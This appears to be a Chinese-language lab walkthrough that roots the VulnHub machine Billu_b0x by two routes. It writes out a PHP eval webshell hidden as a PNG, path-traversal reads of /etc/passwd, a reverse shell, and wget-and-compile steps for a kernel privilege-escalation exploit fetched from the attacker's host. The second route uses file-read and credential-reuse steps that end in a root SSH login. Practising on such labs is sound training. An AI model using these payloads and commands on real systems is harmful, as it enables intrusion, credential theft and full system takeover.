靶机介绍
1)靶机地址:https://download.vulnhub.com/billu/Billu_b0x.zip
2)靶机难度:中(两种攻击路线)
3)打靶目标: 取得 root 权限
4)涉及攻击方法:主机发现、端口扫描、WEB信息收集、SQL注入(SQLMAP跑出来)、文件包含漏洞、文件上传漏洞、任意文件下载、源码审计、内核漏洞提权
5)靶机简介:一台靶机两种打法,学习两种攻破靶机的方法,,本次靶机所包含的漏洞类型都很常见,但却没一个好打的。其中包括SQLMAP跑不出来的SQL注入漏洞、只能上传图片的文件上传漏洞、看起来并不像是文件包含的文件包含漏洞。说的好像绕口令一样!重点学习多种常规漏洞的综合利能力。
6)注意事项:靶机导入时,选择包含所有网卡的MAC地址

打靶过程
1)主机发现
2)全端口扫描- # nmap -p- 192.168.56.107
复制代码
3)服务版本扫描- # nmap -p22,80 -sC -sV 192.168.56.107
复制代码
4)浏览器访问80端口
5)通过页面信息提示,说明该位置存在一个sql注入,通过万能密码做一件简单的sql注入
①注入' 字符 无任何效果
②注入' or 1=1 -- 无任何效果
注:对于其他的web系统,当sql注入无法成功注入时,可以尝试进行其他的攻击方式,但是此处的web系统因为提示为“Show me your SQLI skills”,说明此处一定存在SQL注入
6)通过burp工具的intruder模块,选择来进行SQL注入攻击的载荷字典,对其进行SQL注入
①输入用户名和密码提交时,先抓取数据包

②只选择变量为用户名和密码,且攻击方式为cluster bomb

③选择用户名字典为自带的fuzzing-SQL injection,选择密码字典为kali中的/usr/share/seclists/Fuzzing/SQLi/Generic-SQLi.txtBurp


④当用户名和密码为如下内容时,返回的内容不一致,当使用如下用户名和密码,登入时,可成功登入系统

⑤登入系统后,页面如下

7)在页面中,存在一个添加用户的选项,该选项处可以上传一个图片,尝试使用文件上传的方式,验证此处是否存在文件上传漏洞
①先编辑一句话木马- #vim shell.php
- <?php @eval($_POST['cmd']);?>
复制代码 ②选择文件上传,提示只能上传图片文件


③上传图片时,抓取数据包。修改文件扩展名,仍然无法上传

④修改文件MIME类型后,仍然无法上传

⑤在文件头部添加GIF89a后,仍然无法上传

⑥将文件名修改为shell.phg,且修改MIME类型,文件头内容后,成功的上传了文件

⑦在浏览器通过cmd变量无法直接执行命令,说明上传的木马无法正常解析- http://192.168.56.107/panel.php?cmd=id
- 192.168.56.107/uploaded_images/shell.png?cmd=id
复制代码
如果此处存在文件包含漏洞,那么可以包含上传的文件,使其被解析,但是该页面不存在文件包含漏洞
8)对web服务器进行路径爬取- # dirsearch -u http://192.168.56.107
复制代码
9)对add.php页面进行访问时,返回于添加用户页面一致的表单信息,此时有理由怀疑是访问panel.php时,有引用了add.php。

10)在访问panel.php页面打开用户添加页面时,通过burp进行数据包抓取,查看其请求信息,发现加载了add

在请求中带了load=add参数,此时可参数是否是通过load参数加载了add.php页面,如果证明该结论正确,说明在此处存在一个本地的文件包含(不一定存在漏洞)
11)将数据包发送至repeater模式下后,修改add为/etc/passwd,发现读取出来了用户文件内容,说明此处存在本地文件包含漏洞- load=../../../../../../../etc/passwd&continue=continue
复制代码
12)复制上传的图片马的url地址至load参数处,使其包含.- load=192.168.56.107/uploaded_images/shell.png?cmd=id&continue=continue
复制代码
无法执行出id命令,说明此处没有远程文件包含漏洞
13)修改上述包含方式为本地文件包含- load=uploaded_images/shell.png?cmd=id&continue=continue
复制代码
仍然无法正常执行参数的命令,但是本地文件包含又是存在的,说明:
此处是通过png图片中的一句话木马的参数执行操作系统的命令,有可能这种方式在服务器端是不支持的。
14)向服务器传输一个反弹shell的php的代码文件(扩展名仍然为png)

15)通过burp抓取到数据包后,进行本地文件包含

同时在kali主机监听端口,发现成功反弹回了webshell

16)将突破边界的shell进行升级- $ python -c "import pty;pty.spawn('/bin/bash')"
复制代码 17)信息搜集,查看当前靶机内核版本为3.13
18)在kali主机搜索内核为3.13.0的漏洞利用代码- # searchsploit 3.13.0
- #cp /usr/share/exploitdb/exploits/linux/local/37292.c .
- # mv 37292.c exp.c
- # python3 -m http.server 80
复制代码
19)目标靶机下载利用脚本,编译,执行,获取到root权限- $ cd /tmp
- $ wget http://192.168.56.103/exp.c
- $ gcc exp.c -o exp
- $ chmod +x exp
- $ ./exp
- # id
复制代码
第二种打靶过程:
20)根据第八步对网站路径的爬取,发现在根目录下存在一个test的路径

21)通过对test进行访问,返回如下提示

该提示说明:此处存在一个file参数,且file参数的值应该是一个文件(即文件包含)
22)根据上述提示,使用如下方式,查看/etc/passwd文件内容- http://192.168.56.107/test?file=../../../../etc/passwd
复制代码
但是仍然返回了,上述的提示,说明数据提交的方式不正确,
23)通过burp进行数据包截取,并且修改数据提交方式为post

24)转发数据包后,直接获取到了/etc/passwd的文件内容

24)此处修改file的值为add.php,返回了add.php文件的源码,说明此处不是一个文件包含漏洞,是一个任意文件读取漏洞

25)此时通过上述方式查看首页面index.php的源码,该表单是一个输入用户名和密码的表单,通过源码,可以分析服务端是如何处理客户端提交到服务器端的数据的,是否会查询后端数据库进行比对,整个过程是否存在漏洞,进行源码的代码审计。
 - $uname=str_replace('\'','',urldecode($_POST['un']));
- $pass=str_replace('\'','',urldecode($_POST['ps']));
- $run='select * from auth where pass=\''.$pass.'\' and uname=\''.$uname.'\'';
- $result = mysqli_query($conn, $run);
复制代码 26)之前的路径爬取发现了c.php文件,通过查看c.php的源码,发现了web程序连接后端数据库的用户名和密码

27)路径爬取中还发现了phpmy路径,通过访问,发现给路径是phpmyadmin的后台管理界面,通过上述发现的用户名和密码可直接登录至phpmyadmin中

28)登录成功后,在auth表中,发现了另外的一个用户名和密码,通过该用户名和密码,可直接在首页中登入系统

29)对phpmy目录进行目录爬取:- # dirsearch -u http://192.168.56.107/phpmy
复制代码
web目录爬取,怕渠道了config.inc.php文件
30)通过上述文件下载漏洞,获取该文件的内容

在config.inc.php文件中获取到了另外一个账号root和密码roottoor
31)尝试通过该用户名和密码直接ssh登录目标靶机- # ssh root@192.168.56.107
复制代码 直接登录成功,且权限为root权限

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |